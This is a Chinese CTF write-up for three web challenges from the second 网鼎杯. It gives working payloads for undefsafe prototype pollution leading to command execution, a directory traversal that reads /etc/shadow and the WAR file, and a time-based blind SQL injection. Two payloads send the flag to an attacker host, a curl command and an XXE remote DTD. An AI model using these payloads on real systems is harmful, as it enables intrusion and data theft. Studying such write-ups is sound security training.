第二届”网鼎杯”青龙组 WEB 部分题目 Writeup

做了一早上 Misc,把人做没了。准备恰饭结果突然 Web 放题,大大的问号

总体感觉 PY 严重,Web 题不太行,把秒的两道题和快出的一道题题解丢一下

Notes

undefsafe 原型链污染

题目开始放出来一脸蒙,没有任何东西,难不成是心灵感应题?

结果过了一会回去才发现题目描述更新,给了源码

因为无 views 模版,魔改一下

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
    // res.render('index', { title: 'Notebook' });
    res.send("Notebook");
});

app.route('/add_note')
    .get(function(req, res) {
        // res.render('mess', {message: 'please use POST to add a note'});
        res.send('please use POST to add a note')
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.send({message: "add note sucess"});
        } else {
            res.send({message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.send({message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.send({message: "edit note sucess"});
        } else {
            res.send({message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.send({message: "delete done"});
        } else {
            res.send({message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.send({list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
    res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
    console.error(err.stack);
    res.status(500).send('Something broke!');
});


const port = 60880;
app.listen(port, "0.0.0.0", () => console.log(`Example app listening at http://localhost:${port}`))

拿到这源码一看,undefsafe 是啥奇怪的玩意啊。于是谷歌一搜,第四个结果就是 snyk 的漏洞报告

点进去一看,妈耶,倒数第二次更新都两年前的包了,最近不知道被谁拿出来鞭尸。想必这个题也必然不可能是最新的包,盲猜一手就是有洞的版本,即 2.0.2

然后丢进某个文件夹,npm i [email protected] express pug 搭完本地调试环境

有原型链污染了,思路也就很明显了

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })

这个 for(let index in commands) 可以迭代到我们污染的原型链的成员,所以污染原型链随便加个成员赋值成个命令进去就完事了

然后就是照着给的 PoC 打就完了

undefsafe(this.note_list, id + '.author', author);

可以看到 idauthor 完全可控,直接发包完事

先加个 note (好像没必要

POST /add_note
author=asd&raw=asd

然后修改,污染原型链

POST /edit_note
id=constructor.prototype&author=curl http://ip:port/`cat /flag`&raw=fuck2

然后用 status 触发一下

GET /status

完事

filejava

看了一眼,文件上传,先传个 jsp 看看咋样

结果给出了下载链接,这种文件名写在 GET 参数里的,随手打一下目录穿透,结果真就目录穿透了,,

先试了几个报错,直接把路径爆出来了,那么顺理成章直接拿源码了(顺手读了下 /etc/shadow,还是 root 用户起的服务

考虑到是 tomcat,那么直接拖 war 包下来丢 JD-GUI 就完事了

/file_in_java/DownloadServlet?filename=../../../../../../../../../../../usr/local/tomcat/webapps/file_in_java.war

脱下来丢 JD-GUI,看一眼 UploadServlet,结果有个 xslx 的啥都不处理的处理,然后还提示个

System.err.println("poi-ooxml-3.10 has something wrong");

这不就明摆着告诉你 poi-ooxml-3.10 的 XXE 了么,,,

Exp 网上 114514 个,也不细说了

改一下 [Content_Types].xml

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip:port1/test.dtd">
%remote;%int;%send;
]>

重新打包回 xslx,上传即可

服务器上丢一个 test.dtd

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:port2/?p=%file;'>">

trace

乍一看又是一道心灵感应题(其实就是个心灵感应题),扫了一遍发现空空荡荡,于是看看 register_do.php 到底干了啥

这种输入的,当然直接丢个单引号看看

然后就爆了个 Mysql Error

再加上是个注册,那么就是个 Insert 盲注了,这里我用时间盲注

按照老套路,爆下数据库和版本试试

  • database: ctf
  • version: 5.5.62 ubuntu

这个 Mysql 版本,过滤了 information_schema,我猜是没法去爆表名了

心灵感应的时候到了,我猜 flag 就在当前库也就是 ctf 库的 flag 表里面

验证也很简单,直接 select * from flag 就可以了,因为时间盲注,如果表存在必然延时

结果表还真就是 flag

那么后面就很简单了,用子查询绕过字段名然后爆破就行了

Payload

username=fuck',1+%26%26+if(mid((select+fuck2+from+(select+1+as+fuck1,2+as+fuck2+from+flag+where+1=0+union+select+*+from+flag)x),$$,1)='$$',sleep(10),0)+||+pow(2,1024))%23&password=a

可惜最后时间不够,又没有现成的时间盲注脚本存货,手动 burp 爆把人爆没了,最后几分钟失去理想,等死

总结

体验 8 行,这个 Web 题出的感觉质量一般,而且感觉 PY 很严重

发表评论

发表回复

*

沙发空缺中,还不快抢~